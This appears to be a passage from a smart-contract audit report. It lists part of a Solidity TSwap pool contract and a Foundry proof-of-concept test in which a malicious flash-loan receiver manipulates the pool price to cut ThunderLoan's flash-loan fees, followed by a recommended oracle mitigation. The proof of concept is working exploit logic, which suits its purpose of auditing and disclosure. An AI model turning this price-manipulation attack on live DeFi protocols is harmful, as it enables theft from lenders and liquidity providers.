194         emit LiquidityRemoved(msg.sender, wethToWithdraw,
                poolTokensToWithdraw);
195 
196         i_weth.safeTransfer(msg.sender, wethToWithdraw);
197         i_poolToken.safeTransfer(msg.sender, poolTokensToWithdraw);
198     }
199 
200     /*////////////////////////////////////////////////////////////////
201                                 GET PRICING
202     ////////////////////////////////////////////////////////////////*/
203 
204     function getOutputAmountBasedOnInput(
205         uint256 inputTokensOrWeth,
206         uint256 inputTokensOrWethReserves,
207         uint256 outputTokensOrWethReserves
208     )
209         public
210         pure
211         revertIfZero(inputTokensOrWeth)
212         revertIfZero(outputTokensOrWethReserves)
213         returns (uint256 outputTokensOrWeth)
214     {
215         // x * y = k
216         // numberOfWeth * numberOfPoolTokens = constant k
217         // k must not change during a transaction (invariant)
218         // with this math, we want to figure out how many PoolTokens to
                deposit
219         // since weth * poolTokens = k, we can rearrange to get:
220         // (currentWeth + wethToDeposit) * (currentPoolTokens +
                poolTokensToDeposit) = k
221         // **************************
222         // ****** MATH TIME!!! ******
223         // **************************
224         // FOIL it (or ChatGPT): https://en.wikipedia.org/wiki/
                FOIL_method
```

```
225         // (totalWethOfPool * totalPoolTokensOfPool) + (totalWethOfPool
                * poolTokensToDeposit) + (wethToDeposit *
226         // totalPoolTokensOfPool) + (wethToDeposit *
                poolTokensToDeposit) = k
227         // (totalWethOfPool * totalPoolTokensOfPool) + (wethToDeposit *
                totalPoolTokensOfPool) = k - (totalWethOfPool *
228         // poolTokensToDeposit) - (wethToDeposit * poolTokensToDeposit)
229         uint256 inputAmountMinusFee = inputTokensOrWeth * (
                FEE_DENOMINATOR - FEE);
230         uint256 numerator = inputAmountMinusFee *
                outputTokensOrWethReserves;
231         uint256 denominator = (inputTokensOrWethReserves *
                FEE_DENOMINATOR) + inputAmountMinusFee;
232         return numerator / denominator;
233     }
234
235     function getInputAmountBasedOnOutput(
236         uint256 outputTokensOrWeth,
237         uint256 inputTokensOrWethReserves,
238         uint256 outputTokensOrWethReserves
239     )
240         public
241         pure
242         revertIfZero(outputTokensOrWeth)
243         revertIfZero(outputTokensOrWethReserves)
244         returns (uint256 inputTokensOrWeth)
245     {
246         uint256 numerator = inputTokensOrWethReserves *
                outputTokensOrWeth * FEE_DENOMINATOR;
247         uint256 denominator = (outputTokensOrWethReserves -
                outputTokensOrWeth) * (FEE_DENOMINATOR - FEE);
248         return numerator / denominator;
249     }
250
251     /*//////////////////////////////////////////////////////////////
252                         SWAP WETH FOR POOL TOKENS
253     //////////////////////////////////////////////////////////////*/
254
255     function _swapWethForPoolToken(uint256 wethAmount, uint256
            poolTokenAmount) private {
256         emit WethSwappedForPoolToken(msg.sender, wethAmount,
                poolTokenAmount);
257         i_weth.safeTransferFrom(msg.sender, address(this), wethAmount);
258         i_poolToken.safeTransfer(msg.sender, poolTokenAmount);
259     }
260
261     function swapWethForPoolTokenBasedOnInputWeth(
262         uint256 wethAmount,
263         uint256 minTokenAmount,
264         uint256 deadline
265     )
```

```
266         external
267         revertIfDeadlinePassed(deadline)
268         revertIfZero(minTokenAmount)
269         revertIfZero(wethAmount)
270         returns (uint256 poolTokensBought)
271     {
272         poolTokensBought = getOutputAmountBasedOnInput(
273             wethAmount, i_weth.balanceOf(address(this)), i_poolToken.
                balanceOf(address(this))
274         );
275         if (poolTokensBought < minTokenAmount) {
276             revert TSwapPool__PoolTokensToReceiveTooLow(minTokenAmount)
                ;
277         }
278         _swapWethForPoolToken(wethAmount, poolTokensBought);
279     }
280
281     /// @notice user swaps weth -> pool tokens based on a specific
        amount of pool tokens they want to receive
282     /// @param poolTokenAmount Exact number of pool tokens to buy
283     /// @param maxWeth Max number of Weth to sell for the pool tokens
284     /// @param deadline The timestamp when this transaction must be
        completed by
285     function swapWethForPoolTokenBasedOnOutputPoolToken(
286         uint256 poolTokenAmount,
287         uint256 maxWeth,
288         uint256 deadline
289     )
290         external
291         revertIfDeadlinePassed(deadline)
292         revertIfZero(maxWeth)
293         revertIfZero(poolTokenAmount)
294         returns (uint256 wethSold)
295     {
296         wethSold = getInputAmountBasedOnOutput(
297             poolTokenAmount, i_poolToken.balanceOf(address(this)),
                i_weth.balanceOf(address(this))
298         );
299         if (wethSold > maxWeth) {
300             revert TSwapPool__WethTokensToSendTooHigh(wethSold, maxWeth
                );
301         }
302         _swapWethForPoolToken(wethSold, poolTokenAmount);
303     }
304
305     /*//////////////////////////////////////////////////////////////
306                         SWAP POOL TOKENS FOR WETH
307     //////////////////////////////////////////////////////////////*/
308
309     function _swapPoolTokensForWeth(uint256 poolTokenAmount, uint256
        wethAmount) private {
```

```
310         emit PoolTokenSwappedForWeth(msg.sender, wethAmount,
                poolTokenAmount);
311         i_weth.safeTransfer(msg.sender, wethAmount);
312         i_poolToken.safeTransferFrom(msg.sender, address(this),
                poolTokenAmount);
313     }
314
315     function swapPoolTokenForWethBasedOnInputPoolToken(
316         uint256 poolTokenAmount,
317         uint256 minWeth,
318         uint256 deadline
319     )
320         external
321         revertIfDeadlinePassed(deadline)
322         revertIfZero(poolTokenAmount)
323         revertIfZero(minWeth)
324         returns (uint256 wethBought)
325     {
326         wethBought = getOutputAmountBasedOnInput(
327             poolTokenAmount, i_poolToken.balanceOf(address(this)),
                    i_weth.balanceOf(address(this))
328         );
329         if (wethBought < minWeth) {
330             revert TSwapPool__WethToReceiveTooLow(wethBought);
331         }
332         _swapPoolTokensForWeth(poolTokenAmount, wethBought);
333     }
334
335     function swapPoolTokenForWethBasedOnOutputWeth(
336         uint256 wethAmount,
337         uint256 maxPoolTokens,
338         uint256 deadline
339     )
340         external
341         revertIfDeadlinePassed(deadline)
342         revertIfZero(wethAmount)
343         revertIfZero(maxPoolTokens)
344         returns (uint256 poolTokensSold)
345     {
346         poolTokensSold = getInputAmountBasedOnOutput(
347             wethAmount, i_weth.balanceOf(address(this)), i_poolToken.
                    balanceOf(address(this))
348         );
349         if (poolTokensSold > maxPoolTokens) {
350             revert TSwapPool__WethToReceiveTooLow(wethAmount);
351         }
352         _swapPoolTokensForWeth(poolTokensSold, wethAmount);
353     }
354
355     /*//////////////////////////////////////////////////////////////
356                     EXTERNAL AND PUBLIC VIEW AND PURE
```

```
357     //////////////////////////////////////////////////////////////*/
358
359     function getFee() external pure returns (uint256) {
360         return FEE;
361     }
362
363     function getFeeDenominator() external pure returns (uint256) {
364         return FEE_DENOMINATOR;
365     }
366
367     /// @notice a more verbose way of getting the total supply of
            liquidity tokens
368     function totalLiquidityTokenSupply() public view returns (uint256)
            {
369         return totalSupply();
370     }
371
372     function getToken() external view returns (address) {
373         return address(i_poolToken);
374     }
375
376     function getWeth() external view returns (address) {
377         return address(i_weth);
378     }
379
380     function getMinimumWethDepositAmount() external pure returns (
            uint256) {
381         return MINIMUM_WETH_LIQUIDITY;
382     }
383
384     function getPriceOfOneWethInPoolTokens() external view returns (
            uint256) {
385         return getOutputAmountBasedOnInput(1e18, i_weth.balanceOf(
                address(this)), i_poolToken.balanceOf(address(this)));
386     }
387
388     function getPriceOfOnePoolTokenInWeth() external view returns (
            uint256) {
389         return getOutputAmountBasedOnInput(1e18, i_poolToken.balanceOf(
                address(this)), i_weth.balanceOf(address(this)));
390     }
391 }
```

Finally, this is the foundry test function that deploys the `MaliciousFlashLoanReceiver` and performs the price oracle manipulation attack.

```
1 function testOracleManipulation() public {
2         // 1. Setup contracts
3         thunderLoan = new ThunderLoan();
4         // use back same weth so dont need initialize that
5         tokenA = new ERC20Mock();
```

```
6           proxy = new ERC1967Proxy(address(thunderLoan), "");
7           BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
                ;
8           // Create a TSwap Dex between WETH / TokenA
9           address tswapPool = pf.createPool(address(tokenA));
10          // set proxy address as proxy for thunderloan contract
11          thunderLoan = ThunderLoan(address(proxy));
12          thunderLoan.initialize(address(pf));
13
14          // 2. Fund TSwap
15          vm.startPrank(liquidityProvider);
16          tokenA.mint(liquidityProvider, 100e18);
17          tokenA.approve(address(tswapPool), 100e18);
18          weth.mint(liquidityProvider, 100e18);
19          weth.approve(address(tswapPool), 100e18);
20          BuffMockTSwap(tswapPool).deposit(100e18, 0, 100e18, block.
                timestamp);
21          // Ratio 100 WETH & 100 TokenA
22          // Price 1:1
23          vm.stopPrank();
24
25          // 3. setAllowedToken and Fund ThunderLoan
26          // 3a. set allow
27          vm.prank(thunderLoan.owner());
28          thunderLoan.setAllowedToken(tokenA, true);
29          // 3b. fund thunderloan
30          vm.startPrank(liquidityProvider);
31          tokenA.mint(liquidityProvider, 1000e18);
32          tokenA.approve(address(thunderLoan), 1000e18);
33          thunderLoan.deposit(tokenA, 1000e18);
34          vm.stopPrank();
35          // TSwap: 100 WETH & 100 TokenA (Price 1:1)
36          // ThunderLoan: 1000 TokenA
37
38          // Take out a flash loan of 50 TokenA
39          // Swap it on TSwap Dex, tanking the price > 150 TokenA : ~80
                WETH
40          // Take out another flash loan of 50 tokenA
41          // see that 2nd flash loan is much cheaper
42
43          // 4. Take out 2 flash loans
44          //  a. nuke the price of Weth/TokenA on TSwap
45          //  b. show that it reduces fees paid to thunderloan
46
47          // compare fees of one-step borrow 100e18 with two-step borrow
                50e18 + price manipulation
48          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                100e18);
49          console.log("Normal Fee is: ", normalFeeCost);
50          // 0.296147410319118389 (units might be in WETH)
51
```

```
52          uint256 amountToBorrow = 50e18;
53          MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                (address(tswapPool), address(thunderLoan), address(
                thunderLoan.getAssetFromToken(tokenA)));
54
55          vm.startPrank(user);
56          tokenA.mint(address(flr), 100e18);
57          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
58          vm.stopPrank();
59
60          uint256 attackFee = flr.feeOne() + flr.feeTwo();
61          console.log("Attack Fee is: ", attackFee);
62          // 0.214167600932190305
63          console.log("First flash loan fee: ", flr.feeOne());
64          // 0.148073705159559194
65          console.log("Second flash loan fee: ", flr.feeTwo());
66          // 0.066093895772631111
67
68          assert(attackFee < normalFeeCost);
69      }
```

**Recommended Mitigation:** Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.